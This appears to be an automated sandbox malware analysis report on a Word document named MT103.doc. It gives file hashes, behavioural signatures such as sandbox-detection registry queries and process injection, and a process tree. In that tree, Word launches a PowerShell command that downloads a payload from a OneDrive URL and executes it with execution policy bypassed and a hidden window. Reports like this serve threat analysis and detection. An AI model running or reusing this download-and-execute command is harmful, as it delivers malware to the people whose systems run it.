Analysis
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max time kernel
103s -
max time network
112s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
30-04-2024 09:42
Behavioral task
behavioral1
Sample
MT103.doc
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
MT103.doc
Resource
win10v2004-20240419-en
General
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Target
MT103.doc
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Size
70KB
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MD5
1812b0ee6924f6188269c65494e580e8
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SHA1
fc83f1d3acb53009cbaa7b9df57676274fc561a1
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SHA256
7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68
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SHA512
5432bbe2f3f54a1ddf8980ad1f34a684d0e7b17bd29cc059c3c20e798dfcab025d68a0b46776630c64b84c062a146e27c2f75f8de57e08f88b1ac8cfed1f8eff
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SSDEEP
768:Dpwxw+tCmFeFahP8nmwyd04aCF+Fas0Mxw+tq:DSxrtCmFeFahP81CF+FasZxrt
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2948 3596 powershell.exe 84 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3596 WINWORD.EXE 3596 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2948 powershell.exe 2948 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2948 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3596 WINWORD.EXE 3596 WINWORD.EXE 3596 WINWORD.EXE 3596 WINWORD.EXE 3596 WINWORD.EXE 3596 WINWORD.EXE 3596 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3596 wrote to memory of 2948 3596 WINWORD.EXE 89 PID 3596 wrote to memory of 2948 3596 WINWORD.EXE 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\MT103.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec bypass -w 1 -c (iwr 'https://onedrive.live.com/download?resid=59261C7E41B6478A%21215&authkey=!AILxsvzlZboP3io' -UseBasicParsing).Content | iex2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD50e9f6533cad992f680e3581ffb00ee3c
SHA137b2700b0477cf5f85fe052ecf57d157c821633c
SHA256627b83baf6386b68b6e1dcd2a345b228b1bc4bfacbc804753c6bb8df2b588554
SHA51268859981f9b18a0832280145ccb73d69ffe8525783094b3e7a6f4ade4625f452706ebf282b4c945ccf682a82c031ef6bdf061b82fbb8d469dca896a787e26fd9
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82